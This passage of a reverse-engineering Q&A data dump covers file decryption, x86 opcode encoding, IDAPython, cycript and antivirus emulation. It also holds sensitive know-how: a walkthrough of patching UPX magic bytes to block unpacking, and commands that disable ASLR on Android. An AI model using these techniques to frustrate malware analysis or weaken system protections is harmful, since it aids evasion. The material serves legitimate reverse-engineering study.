&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;so I see that righnt now there &quot;is no help&quot; so I will post whole file so u can see whole picture &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heh I have limitation to 30000 chars so here is link of file &#xA;&lt;a href=&quot;http://pastebin.com/2X00B6rJ&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/2X00B6rJ&lt;/a&gt; Can any one help me to &quot;reveal&quot; what they did (changed) to lzs compresion, I asume its lzs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many tnx in advice, cheers&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="188" LastEditDate="2014-02-23T11:48:35.440" LastActivityDate="2014-03-08T20:14:01.863" Title="backup from ZynOS but, can not be decompressed with LZS" Tags="|static-analysis|unpacking|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3663" PostTypeId="2" ParentId="3335" CreationDate="2014-02-11T09:45:40.007" Score="12" Body="&lt;p&gt;It's very easy to prevent the UPX tool to unpack an UPX compressed file. If you take a look to the source code you will see that it checks for the magic string &lt;code&gt;UPX_MAGIC_LE32&lt;/code&gt; in &lt;code&gt;p_lx_interp.cpp&lt;/code&gt;. So, I simply changed all matches of the string (in binary chunks) &quot;&lt;code&gt;UPX!&lt;/code&gt;&quot; to &quot;&lt;code&gt;AAA!&lt;/code&gt;&quot;. I copied &lt;code&gt;/bin/ls&lt;/code&gt; (ELF64) to another folder and packed with UPX. Then I edited it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$ pyew ls&#xA;ELF Information&#xA;(...)&#xA;[0x00000000]&gt; /s UPX # Search for the string UPX&#xA;HINT[0x000000b4]: UPX!........p...p...8.............!..ELF......&gt;...E@..e....p&#xA;HINT[0x0000abcc]: UPX!.........S...USQRH..VH..H..1.1.H....P.....t.....H.......&#xA;HINT[0x0000ad3b]: UPX executable packer http://upx.sf.net $..$Id: UPX 3.07 Cop&#xA;HINT[0x0000ad6b]: UPX 3.07 Copyright (C) 1996-2010 the UPX Team. All Rights Re&#xA;HINT[0x0000ad90]: UPX Team. All Rights Reserved. $....^j._j.X..j._j....N...p...I.......&#xA;[0x00000000]&gt; s 0xb4 # Seek to the specified offset in the file&#xA;[0x000000b4:0x000000b4]&gt; edit # Open the file for editing&#xA;[0x000000b4:0x000000b4]&gt; wx 414141 # Patch in hexadecimal&#xA;[0x000000b4:0x000000b4]&gt; s 0xabcc&#xA;[0x0000abcc:0x0000abcc]&gt; wx 414141&#xA;[0x0000abcc:0x0000abcc]&gt; s 0xafe7&#xA;[0x0000afe7:0x0000afe7]&gt; wx 414141&#xA;[0x0000afe7:0x0000afe7]&gt; s 0xb3ac&#xA;[0x0000b3ac:0x0000b3ac]&gt; wx 414141&#xA;[0x0000b3ac:0x0000b3ac]&gt; q # And quit&#xA;$ ./ls&#xA;(...lots of files...)&#xA;$ upx -d ./ls&#xA;                       Ultimate Packer for eXecutables&#xA;                          Copyright (C) 1996 - 2010&#xA;UPX 3.07        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Sep 08th 2010&#xA;        File size         Ratio      Format      Name&#xA;   --------------------   ------   -----------   -----------&#xA;upx: ls: NotPackedException: not packed by UPX&#xA;&#xA;Unpacked 0 files.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all. Anyway, remember that you're only preventing this tool to unpack UPX compressed files. UPX is a compressor that anyone with basic knowledge about packers can uncompress with little to no effort.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="53" LastEditDate="2014-02-11T10:10:38.627" LastActivityDate="2014-02-11T10:10:38.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3665" PostTypeId="1" CreationDate="2014-02-12T08:05:31.770" Score="1" ViewCount="700" Body="&lt;p&gt;I have to decrypt a file that is used by an app built using VB5. The file itself contains some data that is decrypted when the app is run and the decrypted data is text data that is displayed in a listview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen that the app decrypts each character one by one. I think the decryption algorithm is some kind of bit shifting where each character is converted to binary and depending on the length of the binary it does some operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Encrypted character # &#xA;&#xA;Decrypted Character 1&#xA;&#xA;&quot;#&quot; in ascii, 35 = 10 0011&#xA;&#xA;&quot;1&quot; in ascii, 49 = 11 0001&#xA;&#xA;encrypted: 178 = 10 11 00 10&#xA;decrypted:  83 = 1  01 00 11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The full encrypted file can be found &lt;a href=&quot;https://mega.co.nz/#!rQhnVIAb!tsuwN8P5Ihp-ftNCdq2tHweWrLjkLAl6YG5MfvlU4XY&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have seen two methods to get the contents:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decrypt the file&lt;/li&gt;&#xA;&lt;li&gt;Read the memory of the app when it is run.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help/comment is most welcome.&lt;/p&gt;&#xA;" OwnerUserId="3897" LastEditorUserId="53" LastEditDate="2014-02-12T08:10:36.693" LastActivityDate="2014-02-15T04:57:27.143" Title="How to decrypt this file?" Tags="|debuggers|encryption|visual-basic|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3667" PostTypeId="1" CreationDate="2014-02-12T17:10:39.587" Score="4" ViewCount="3569" Body="&lt;p&gt;I would like that a shared library is always loaded at the same address on Android 4.0.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to disable the ASLR using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;indeed shows 0, but after starting the application the shared library is always (still) loaded at a different address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above behavior is seen when starting an activity that loads a shared object using command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;am start -n &amp;lt;activity&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OTOH, when trying with a small native process written in C, the same shared library gets loaded to the same addresses when ASLR is disabled either with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sysctl -w kernel.randomize_va_space=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've compiled the application using android-ndk-r7c toolchain arm-linux-androideabi-4.4.3 without any special compiler switches (e.g. -fPIE or -pie).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried something like described &lt;a href=&quot;http://software.techassistbox.com/syscall-personality-present-but-does-not-work-in-android_42814.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but the shared library still gets loaded at different addresses - I guess that per-process ASLR can not be disabled on Android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not managed to cross-compile the setarch.c from util-linux due to missing SYS_personality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further investigation resulted in a partial success. This is what I've done and the result is that the application started via &quot;am start -n &quot; loads shared library on mostly two different addresses:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;set the ASLR to disabled state using one of the methods,&lt;/li&gt;&#xA;&lt;li&gt;kill the &quot;/system/bin/servicemanager&quot; process (kill -9 PID) - this should bring down the zygote and complete UI, too,&lt;/li&gt;&#xA;&lt;li&gt;wait for the servicemanager, zygote and UI to restart - init.rc handles this,&lt;/li&gt;&#xA;&lt;li&gt;try to start/kill/start my application&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After 20 + start &amp;amp; kill sequences my application always loads shared library on one or another memory address. How come? Have no idea!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless this should help debugging the shared library greatly since the shared library is usually loaded on one address several time in a row and then on another address next couple of times and bask to first address..&lt;/p&gt;&#xA;" OwnerUserId="3901" LastEditorUserId="3901" LastEditDate="2014-02-13T21:03:47.797" LastActivityDate="2014-06-15T08:36:07.233" Title="Disable ASLR on android 4.0.3" Tags="|debugging|android|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3668" PostTypeId="1" AcceptedAnswerId="3675" CreationDate="2014-02-12T17:11:23.043" Score="2" ViewCount="1206" Body="&lt;p&gt;I recently found out about a tool called cycript that apparently does runtime analysis of binaries written with Objective-C.  I have a Mac OS X binary that is compiled as x86_64 and is intended to run on Intel Macs.  I know cycript is intended to for iOS applications but I wouldn't mind using it on this binary to poke around and see what is going on inside the binary.  Most instructions I see for cycript state to start off with UIApp, and then investigating further objects from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is when I try to investigate UIApp with cycript I get the following error message,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ReferenceError: hasProperty callback returned true for a property that doesn't exist.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming I am getting this error message because the binary does not have a UIApp class / method in it because it is a Mac OS X binary and not an iOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where would be a good starting point for using cycript with a Mac OS X binary?&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-02-13T04:51:53.163" Title="How to use cycript to investigate a mach-o x86_64 binary?" Tags="|osx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3669" PostTypeId="1" AcceptedAnswerId="3670" CreationDate="2014-02-12T17:49:51.747" Score="4" ViewCount="5248" Body="&lt;p&gt;What is the best method to enumerate all xrefs to addresses in a particular segment? I came up with a brute-force approach (as seen below). The code scans each address in a segment and checks for an XrefTo the address. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg_list = []&#xA;for seg in Segments():&#xA;    seg_list.append(seg)&#xA;&#xA;# logic will be added to remove section that are code later&#xA;seg_list.reverse()&#xA;for seg in seg_list:  &#xA;    start = SegStart(seg)&#xA;    end = SegEnd(seg)&#xA;    while start &amp;lt; end:&#xA;        gen_xrefs = XrefsTo(start, 0)&#xA;        for xx in gen_xrefs:&#xA;            print hex(start), hex(xx.frm)&#xA;        start += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This approach is very time consuming if I have multiple large segments. IDA adds &lt;code&gt;DATA XREF&lt;/code&gt; comments when viewing the data manually. Are these xrefs stored in an accessible way from IDAPython or is there another more practical approach to find the xrefs to a segment? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mem_15d:00973000                 dd 1C8h dup(0)&#xA;mem_15d:00973720 dword_973720    dd 101011Ch, 1000h      ; DATA XREF: mem_f08:00970678o&#xA;mem_15d:00973728 off_973728      dd offset off_970178    ; DATA XREF: mem_f08:off_970178o&#xA;mem_15d:00973728                                         ; mem_f08:0097017Co &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Enumerating all xrefs from the code is not an option.&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2014-02-12T18:49:51.820" Title="Enumerate all XefsTo a Segment in IDAPython" Tags="|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3670" PostTypeId="2" ParentId="3669" CreationDate="2014-02-12T18:49:51.820" Score="4" Body="&lt;p&gt;You can use Heads function from idautils module.&#xA;So your code will look like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;seg_list = []&#xA;for seg in Segments():&#xA;    seg_list.append(seg)&#xA;&#xA;# logic will be added to remove section that are code later&#xA;seg_list.reverse()&#xA;for seg in seg_list:  &#xA;    start = SegStart(seg)&#xA;    end = SegEnd(seg)&#xA;    for ea in idautils.Heads(start, end):&#xA;        gen_xrefs = XrefsTo(ea, 0)&#xA;        for xx in gen_xrefs:&#xA;            print hex(ea), hex(xx.frm)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-02-12T18:49:51.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3671" PostTypeId="1" CreationDate="2014-02-12T21:26:09.797" Score="6" ViewCount="1249" Body="&lt;p&gt;I am trying to figure out how to encode the instruction &lt;code&gt;MOV DS, AX&lt;/code&gt;, but I am confused from the opcode table as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1IcN2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is MOV DS all one byte, or is MOV one byte, DS the second, and the AX the third?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the table implying that the binary value of the source register prefix DS is 011? If so, how would I encode it as part of the whole instruction?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can not understand how the tables make sense by the way they're listed; they should be more specific! Can anyone straighten this out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to move the value from the AX register to the data segment, DS. No sites perfectly explains how encoding of registers within opcodes work exactly, or relocation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the tables come from &lt;a href=&quot;http://ref.x86asm.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ref.x86asm.net&lt;/a&gt;, and it's very vague, unclear, unspecific, and undetailed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if there's any 100% detailed, perfectly explained tutorials on how encoding of each byte, values for each register, address truncation, offset, etc. works in binary, and how to encode it all the correct way.&lt;/p&gt;&#xA;" OwnerUserId="3904" LastEditorUserId="189" LastEditDate="2014-02-14T01:13:07.813" LastActivityDate="2014-02-14T01:13:07.813" Title="I need quick correction on this x86 opcode conundrum" Tags="|assembly|binary-analysis|x86|machine-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3672" PostTypeId="2" ParentId="3667" CreationDate="2014-02-12T21:55:26.883" Score="3" Body="&lt;p&gt;In fact, the ASLR is architecture dependent. I didn't managed to get the sources from Android, but I took a look at the various ARM implementation of the Linux kernel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ARM64, I found a perfectly valid implementation of the ASLR (in &lt;code&gt;arch/arm64/kernel/process.c&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long arch_align_stack(unsigned long sp)&#xA;{&#xA;  if (!(current-&amp;gt;personality &amp;amp; ADDR_NO_RANDOMIZE) &amp;amp;&amp;amp; randomize_va_space)&#xA;     sp -= get_random_int() &amp;amp; ~PAGE_MASK;&#xA;  return sp &amp;amp; ~0xf;&#xA;}&#xA;&#xA;static unsigned long randomize_base(unsigned long base)&#xA;{&#xA;  unsigned long range_end = base + (STACK_RND_MASK &amp;lt;&amp;lt; PAGE_SHIFT) + 1;&#xA;  return randomize_range(base, range_end, 0) ? : base;&#xA;}&#xA;&#xA;unsigned long arch_randomize_brk(struct mm_struct *mm)&#xA;{&#xA;  return randomize_base(mm-&amp;gt;brk);&#xA;}&#xA;&#xA;unsigned long randomize_et_dyn(unsigned long base)&#xA;{&#xA;  return randomize_base(base);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, looking at &lt;code&gt;arch/arm/kernel/process.c&lt;/code&gt;, the ASLR seems to not trigger the ASLR at all, except for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long arch_randomize_brk(struct mm_struct *mm)&#xA;{&#xA;   unsigned long range_end = mm-&amp;gt;brk + 0x02000000;&#xA;   return randomize_range(mm-&amp;gt;brk, range_end, 0) ? : mm-&amp;gt;brk;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This ARM version of Linux doesn't seems to take into account the trigger of &lt;code&gt;randomize_va_space&lt;/code&gt; to control ASLR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In place of this, the only way to control it seems to be the process personality flags (which are process-wide and NOT system-wide):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $&amp;gt; setarch `uname -m` -R elf_exec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will probably be able to say more if I can get the hand on the Android kernel source code.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-06-15T08:36:07.233" LastActivityDate="2014-06-15T08:36:07.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3673" PostTypeId="2" ParentId="3671" CreationDate="2014-02-12T22:13:39.313" Score="15" Body="&lt;p&gt;That site is good if you're familiar with how the encoding works but if you're just starting I'd skip it for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best starting point is probably the Intel's &lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html&quot;&gt;Architectures Software Developer Manuals&lt;/a&gt;. Have a look at CHAPTER 2 INSTRUCTION FORMAT in the Volume 2, and also the appendices, particularly APPENDIX B INSTRUCTION FORMATS AND ENCODINGS and APPENDIX A OPCODE MAP. They describe how to decode instructions in great detail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you're a little familiar with parts of the instruction encodings, the notations in the instruction listing pages will start to make sense. For example, let's check the one you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the page for &lt;code&gt;MOV&lt;/code&gt;, find the variant you need. This one looks like it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hex     Mnemonic          Encoding   Description&#xA;8E /r   MOV Sreg,r/m16**  RM         Move r/m16 to segment register.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking up 'RM' in the following table, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Op/En Operand 1     Operand 2     Operand 3 Operand 4&#xA;RM    ModRM:reg (w) ModRM:r/m (r) NA        NA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so we can start assembling the opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first byte is fixed to be &lt;code&gt;8E&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second byte is the ModRM byte. It consists of three fields: &lt;code&gt;mod&lt;/code&gt;, &lt;code&gt;reg&lt;/code&gt; and &lt;code&gt;r/m&lt;/code&gt;. Let's assemble it with the help of this &lt;a href=&quot;http://sandpile.org/x86/opc_rm.htm&quot;&gt;nice table&lt;/a&gt; from Sandpile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First up is the &lt;code&gt;mod&lt;/code&gt; field. Since our second operand is a register and not a memory reference, this corresponds to &lt;code&gt;mod=11&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;code&gt;RM&lt;/code&gt; encoding line we see that &lt;code&gt;reg&lt;/code&gt; encodes the first operand, in our case &lt;code&gt;DS&lt;/code&gt;. Looking it up in the table, we can see that &lt;code&gt;DS&lt;/code&gt; is encoded as &lt;code&gt;011&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally is the &lt;code&gt;r/m&lt;/code&gt; field encoding operand 2, i.e. &lt;code&gt;AX&lt;/code&gt;. It is encoded as &lt;code&gt;000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So our ModRM byte is &lt;code&gt;11:011:000&lt;/code&gt;, or &lt;code&gt;D8&lt;/code&gt;. This makes the full opcode to be &lt;code&gt;8E D8&lt;/code&gt;. You can check it with your favorite disassembler, e.g. XED:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;xed.exe -d 8E D8&#xA;8ED8&#xA;ICLASS: MOV   CATEGORY: DATAXFER   EXTENSION: BASE  IFORM: MOV_SEG_GPR16   ISA_SET: I86&#xA;SHORT: mov ds, ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(BTW, the &lt;code&gt;/r&lt;/code&gt; notation in the encoding line tells us that the &lt;code&gt;reg&lt;/code&gt; field of the ModRM byte encodes a register and is not an opcode extension. In the latter case the notation would have a &lt;code&gt;/&amp;lt;digit&amp;gt;&lt;/code&gt; notation where  is the value of the &lt;code&gt;reg&lt;/code&gt; field).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-02-12T22:13:39.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3675" PostTypeId="2" ParentId="3668" CreationDate="2014-02-13T04:51:53.163" Score="3" Body="&lt;p&gt;&lt;code&gt;UIApp&lt;/code&gt; is a shorthand for &lt;code&gt;[UIApplication sharedApplication]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is not an iOS app, but an OS X app you need to use &lt;code&gt;[NSApplication sharedApplication]&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="40" LastActivityDate="2014-02-13T04:51:53.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3676" PostTypeId="1" AcceptedAnswerId="3681" CreationDate="2014-02-13T07:20:17.697" Score="8" ViewCount="3041" Body="&lt;p&gt;The control flow graph below is from a single function in Notepad (Win7 64-bit). Why is the linker (or the compiler) separating the basic blocks of a single function into multiple, discontinuous ( not contiguous )  chunks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GM19m.png&quot; alt=&quot;Function CFG&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="3880" LastEditorUserId="10008" LastEditDate="2020-05-26T08:49:57.710" LastActivityDate="2020-05-26T08:49:57.710" Title="Chunked function (discontinuous chunks of code comprising a function)" Tags="|c|compilers|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="3677" PostTypeId="1" AcceptedAnswerId="3678" CreationDate="2014-02-13T08:52:06.807" Score="5" ViewCount="722" Body="&lt;p&gt;Antiviruses and similar analysis engines often face the problem of identifying whether the file is harmful. They often do so with the use of (partial)emulation and as a result often fall prey to the tricks (anti-emulation) used by the binary.Is it possible to emulate a binary to such an extent that it becomes impossible for it to identify whether it is running in a virtual environment? &lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2014-02-13T23:25:08.650" Title="Why is true emulation not possible?" Tags="|binary-analysis|emulation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3678" PostTypeId="2" ParentId="3677" CreationDate="2014-02-13T13:03:39.607" Score="13" Body="&lt;h1&gt;The question is wrongly placed&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You are asking the wrong question. Literally. The question is by no means why it isn't possible (it &lt;em&gt;is&lt;/em&gt; possible in many cases). The better question is: &lt;strong&gt;why it isn't practical?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's interesting to ask it, nevertheless.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why not use hardware assisted virtualization?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For starters I've had arguments in the past with certain colleagues (I work in the AV industry) and tried to get across that in certain hardware virtualization methods you gain speed without losing security compared to own emulation implementations. Some of these colleagues held that malware must never we executed natively on a machine without an air gap. Personally I consider this a questionable statement because of the existing proliferation of malware and because todays hardware virtualization features offer (near-)native execution anyway. But I guess it's a matter of taste and politics in the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that you'll have to have privileged access to the system in order to control the hypervisor. This may be fine in the context of a file system filter, which runs in kernel mode, but will not be an option in other purely user mode scenarios (like a command line scanner).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then you have only &quot;emulated&quot; the machine, not the (operating system) environment in which the harmless or malicious code would normally be running.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Speed matters in AV&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However, concerning the practicality the problem mostly boils down to speed. If you consider that AV file system filters scan every object at least once, that's a lot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the AV engines will usually try to make sure that there are static unpackers for certain executable packers so that this won't have to be emulated and so on. There are also other heuristics and static methods in place before it gets down to emulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still in this case there will be a sizable fraction of the overall scanned files that will have to be emulated, even if just in part. Since emulation is usually at least an order of magnitude slower than native execution, this adds up quickly, even if only parts of the overall code get emulated in the end.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Which system to emulate?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now this seems to be an easy one at surface. Always emulate the one on which you're running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem then becomes how to put a whole OS installation into your engine. Now you may counter: &quot;why don't you use the libraries of the OS you're running on&quot;, to which I will respond that this works only for this particular use case above. But how do I emulate Win32 APIs when running on a PowerPC under AIX? Or in your Android phone on an ARM processor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our scanners are expected to run across a variety of operating systems and processor architectures and that limits what's possible while maintaining the necessary speed when scanning files/objects.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How closely should the emulator follow the real environments' behavior?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have ever tried &lt;a href=&quot;http://reactos.org/&quot;&gt;ReactOS&lt;/a&gt; - an open source project that aims to reimplement the binary interfaces of Windows XP and 2003 Server true to the last detail - with anything but the stuff that comes on the CD image, you'll know that it has all kinds of glitches. &lt;a href=&quot;http://www.winehq.org&quot;&gt;Wine&lt;/a&gt; as well has a lot of glitches (ReactOS and Wine share a lot of code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AV emulation usually takes many more shortcuts than Wine, because a lot of the functionality isn't required. Let a function succeed or fail and it's fine. The problem is in the very fine details of the Win32 API. And there are loads of those.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Windows 95, 98, Me, NT 4, 2000, XP, 2003, Vista, 2008, 7, 2008 R2, 8, 2012, 8.1, 2012 R2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;... and then you should care for Linux and Mac malware, too? And what about other circumstances like certain hardware configurations (think Stuxnet and how it was &quot;tied&quot; to certain USB keys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if you &quot;emulate&quot; an executable to find certain indicators for maliciousness or goodness your requirements are different from when you emulate a whole operating system or a machine on which you can run the operating system as if it ran on real hardware.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion: an approximation is enough&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So an approximation of the real environment is usually enough. Besides you should keep in mind that many of the evasion attempts themselves can be detected, are suspicious and will raise flags.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2014-02-13T13:03:39.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3679" PostTypeId="1" CreationDate="2014-02-13T18:17:56.333" Score="1" ViewCount="49" Body="&lt;p&gt;I'm trying to reverse engineer the mssql database behind an ERP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was planning to export the database as a sql file before and after I do a modification in the ERP to be able to &lt;code&gt;diff&lt;/code&gt; the files. But my files are huge. About 8 GB for the development environment, it would be a lot more for the production one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there's a better way. Maybe with snapshots or maybe I could enable a log with all SQL queries. Or maybe I could sniff the data on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Sql Server 2005.&lt;/p&gt;&#xA;" OwnerUserId="1838" LastActivityDate="2014-02-13T18:17:56.333" Title="Is it possible to know what changed on a mssql database?" Tags="|mssql|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2014-03-13T13:52:12.543" ContentLicense="CC BY-SA 3.0" />
